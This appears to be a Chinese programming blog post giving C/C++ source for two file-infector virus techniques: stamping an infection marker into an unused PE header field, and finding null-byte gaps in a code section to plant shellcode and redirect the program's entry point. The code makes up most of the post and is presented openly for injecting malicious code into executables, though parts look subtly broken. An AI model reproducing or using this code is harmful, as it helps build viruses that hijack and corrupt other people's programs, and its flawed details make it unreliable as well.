C/C++ 感染标志与空字节感染

C/C++ 通过搜索PE结构中的空隙部分,对指定文件写入感染标志,作用是,如果程序被感染过则不再继续感染,而搜索空字节,则是要将恶意代码动态的填充到可执行文件中,并劫持执行流,以下代码就是这两种代码的具体实现方式。

设置文件感染标志: PE文件中有很多字段并没有使用到,我们可以在内部写入参数,实现检查是否被感染.

#include <stdio.h>
#include <stddef.h>
#include <windows.h>
#define VIRUSFLAGS 0xCCCC

// 向指定文件写入感染标志
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
	DWORD dwNum = 0;
	SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
	WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
	return TRUE;
}
// 检查文件是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
	DWORD dwSigNum = 0;
	DWORD dwNum = 0;
	SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
	ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);

	if (dwSigNum == dwSig)
		return TRUE;
	return FALSE;
}

int main(int argc, char* argv[])
{
	HANDLE hFile,hMap = NULL;
	LPVOID lpBase = NULL;

	hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
	lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);

	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
	PIMAGE_NT_HEADERS pNtHeader = NULL;
	PIMAGE_SECTION_HEADER pSec = NULL;
	IMAGE_SECTION_HEADER imgSec = { 0 };

	if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
	{
		printf("文件非可执行文件 \n");
		return -1;
	}
	pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
	// 写入感染标志
	WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);

	system("pause");
	return 0;
}

空字节搜索与感染: 找到可执行文件中的空域字节,并进行写入跳转命令,劫持程序流。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";

// 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
	// 跳过可选头长度的数据
	PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
		(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));

	// 获取到文件末尾的位置
	DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
	dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;

	LPVOID lp = malloc(sizeof(shellcode));
	memset(lp, 0, sizeof(shellcode));

	while (dwAddr > pSec->Misc.VirtualSize)
	{
		int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
		if (nRet == 0)
			return dwAddr;
		dwAddr--;
	}
	free(lp);
	return 0;
}

int main(int argc, char* argv[])
{
	HANDLE hFile,hMap = NULL;
	LPVOID lpBase = NULL;

	hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
	lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);

	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
	PIMAGE_NT_HEADERS pNtHeader = NULL;
	PIMAGE_SECTION_HEADER pSec = NULL;
	IMAGE_SECTION_HEADER imgSec = { 0 };

	pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
	DWORD dwAddr = FindSpace(lpBase, pNtHeader);

	pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
	UnmapViewOfFile(lpBase);
	CloseHandle(hMap);
	CloseHandle(hFile);

	system("pause");
	return 0;
}
posted @   lyshark  阅读(766)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?

8951939 | 6896846
博客园 - 开发者的网上家园

点击右上角即可分享
微信分享提示